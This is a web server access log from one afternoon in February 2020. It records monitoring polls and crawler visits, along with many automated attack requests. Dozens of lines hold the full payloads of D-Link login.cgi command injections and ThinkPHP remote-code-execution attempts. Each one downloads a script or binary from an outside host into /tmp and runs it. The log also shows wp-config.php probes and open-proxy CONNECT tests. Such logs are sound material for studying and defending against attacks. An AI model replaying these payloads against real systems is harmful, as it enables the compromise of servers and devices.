212.91.246.72 - - [01/Feb/2020:12:15:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
182.167.238.237 - - [01/Feb/2020:12:15:56 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
171.100.12.210 - - [01/Feb/2020:12:15:58 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
151.226.25.182 - - [01/Feb/2020:12:16:26 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
202.29.30.253 - - [01/Feb/2020:12:16:34 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
172.105.11.111 - - [01/Feb/2020:12:16:40 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [01/Feb/2020:12:16:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.189.229.95 - - [01/Feb/2020:12:16:43 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
197.2.26.141 - - [01/Feb/2020:12:17:36 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [01/Feb/2020:12:17:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
31.163.158.228 - - [01/Feb/2020:12:18:15 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
113.22.123.145 - - [01/Feb/2020:12:18:41 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:12:18:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.54.189.30 - - [01/Feb/2020:12:18:55 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:12:19:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:12:20:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.109.130.220 - - [01/Feb/2020:12:21:36 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:12:21:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.119.18.33 - - [01/Feb/2020:12:22:15 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:12:22:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
196.213.65.155 - - [01/Feb/2020:12:23:04 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:12:23:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
59.21.46.176 - - [01/Feb/2020:12:24:07 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://packetsbins.000webhostapp.com/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
110.93.244.236 - - [01/Feb/2020:12:24:12 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
212.91.246.72 - - [01/Feb/2020:12:24:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:12:25:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
79.114.193.238 - - [01/Feb/2020:12:26:39 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [01/Feb/2020:12:26:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
182.53.78.189 - - [01/Feb/2020:12:27:32 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [01/Feb/2020:12:27:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:12:28:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
14.35.19.181 - - [01/Feb/2020:12:28:49 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
212.91.246.72 - - [01/Feb/2020:12:29:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
112.66.66.103 - - [01/Feb/2020:12:29:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
182.184.67.237 - - [01/Feb/2020:12:30:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
212.91.246.72 - - [01/Feb/2020:12:30:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:12:31:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:12:32:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:12:33:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:12:34:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:12:35:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:12:36:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
59.21.46.176 - - [01/Feb/2020:12:36:50 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://packetsbins.000webhostapp.com/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
162.243.128.69 - - [01/Feb/2020:12:37:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
162.243.128.69 - - [01/Feb/2020:12:37:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [01/Feb/2020:12:37:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
162.243.128.69 - - [01/Feb/2020:12:38:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
162.243.128.69 - - [01/Feb/2020:12:38:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [01/Feb/2020:12:38:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
162.243.128.69 - - [01/Feb/2020:12:38:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
183.80.220.186 - - [01/Feb/2020:12:38:54 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
172.105.11.111 - - [01/Feb/2020:12:39:34 +0100] "HEAD / HTTP/1.1" 200 - "-" "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9a3pre) Gecko/20070330"
162.243.128.69 - - [01/Feb/2020:12:39:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [01/Feb/2020:12:39:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
172.105.11.111 - - [01/Feb/2020:12:39:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "\"Mozilla/5.0"
162.243.128.69 - - [01/Feb/2020:12:40:14 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
172.105.11.111 - - [01/Feb/2020:12:40:20 +0100] "HEAD / HTTP/1.1" 200 - "-" "\"Mozilla/5.0"
172.105.11.111 - - [01/Feb/2020:12:40:26 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
172.105.11.111 - - [01/Feb/2020:12:40:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
212.91.246.72 - - [01/Feb/2020:12:40:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
162.243.128.69 - - [01/Feb/2020:12:40:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
183.80.240.212 - - [01/Feb/2020:12:41:05 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
162.243.128.69 - - [01/Feb/2020:12:41:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [01/Feb/2020:12:41:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
125.24.137.156 - - [01/Feb/2020:12:41:43 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
162.243.128.69 - - [01/Feb/2020:12:41:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [01/Feb/2020:12:42:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
217.128.191.234 - - [01/Feb/2020:12:43:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [01/Feb/2020:12:43:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.120.161.34 - - [01/Feb/2020:12:44:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [01/Feb/2020:12:44:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
77.234.14.59 - - [01/Feb/2020:12:45:27 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
189.85.16.146 - - [01/Feb/2020:12:45:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [01/Feb/2020:12:45:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:12:46:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
219.254.138.113 - - [01/Feb/2020:12:47:09 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
219.254.138.113 - - [01/Feb/2020:12:47:09 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
219.254.138.113 - - [01/Feb/2020:12:47:10 +0100] "POST /Admin58f65bd4/Login.php HTTP/1.1" 404 328 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
197.45.156.123 - - [01/Feb/2020:12:47:15 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O /tmp/.unstablethink; chmod 777 /tmp/.unstablethink; /tmp/.unstablethink ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:12:47:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.52.116.100 - - [01/Feb/2020:12:48:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
51.68.87.53 - - [01/Feb/2020:12:48:42 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:12:48:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
188.18.17.34 - - [01/Feb/2020:12:49:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:12:49:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.118.70.88 - - [01/Feb/2020:12:50:20 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:12:50:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.57.102.229 - - [01/Feb/2020:12:51:07 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
66.249.69.12 - - [01/Feb/2020:12:51:27 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.69.12 - - [01/Feb/2020:12:51:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
212.91.246.72 - - [01/Feb/2020:12:51:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:12:52:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
149.90.16.155 - - [01/Feb/2020:12:52:59 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
119.39.47.214 - - [01/Feb/2020:12:53:41 +0100] "CONNECT cn.bing.com:443 HTTP/1.1" 405 341 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
212.91.246.72 - - [01/Feb/2020:12:53:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
221.213.75.108 - - [01/Feb/2020:12:53:44 +0100] "GET http://www.rfa.org/english/ HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
111.224.235.228 - - [01/Feb/2020:12:53:45 +0100] "GET http://boxun.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
221.13.12.72 - - [01/Feb/2020:12:53:46 +0100] "CONNECT www.voanews.com:443 HTTP/1.1" 405 345 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
58.248.200.180 - - [01/Feb/2020:12:53:48 +0100] "GET http://www.epochtimes.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
221.213.75.168 - - [01/Feb/2020:12:53:48 +0100] "GET http://www.wujieliulan.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
27.224.136.246 - - [01/Feb/2020:12:53:48 +0100] "CONNECT www.baidu.com:443 HTTP/1.1" 405 343 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
122.96.131.191 - - [01/Feb/2020:12:53:50 +0100] "GET http://www.minghui.org/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
223.166.74.160 - - [01/Feb/2020:12:53:50 +0100] "CONNECT www.ipip.net:443 HTTP/1.1" 405 342 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
121.57.15.151 - - [01/Feb/2020:12:53:57 +0100] "GET http://www.123cha.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
42.116.43.47 - - [01/Feb/2020:12:54:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://scan.casualaffinity.net/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:12:54:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.54.135.101 - - [01/Feb/2020:12:54:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
88.135.120.243 - - [01/Feb/2020:12:55:38 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:12:55:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.251.28.31 - - [01/Feb/2020:12:56:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:12:56:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:12:57:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
80.182.4.26 - - [01/Feb/2020:12:58:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
80.182.4.26 - - [01/Feb/2020:12:58:38 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [01/Feb/2020:12:58:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.20.72 - - [01/Feb/2020:12:59:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:12:59:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.113.229.64 - - [01/Feb/2020:12:59:44 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:13:00:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:13:01:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.118.70.108 - - [01/Feb/2020:13:02:41 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:13:02:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:13:03:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
54.206.33.181 - - [01/Feb/2020:13:04:06 +0100] "GET /wp-config.php HTTP/1.1" 404 318 "-" "curl/7.47.0"
52.78.51.206 - - [01/Feb/2020:13:04:12 +0100] "GET /wp-config.php HTTP/1.1" 404 318 "-" "curl/7.47.0"
212.91.246.72 - - [01/Feb/2020:13:04:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.128.113.46 - - [01/Feb/2020:13:05:12 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36"
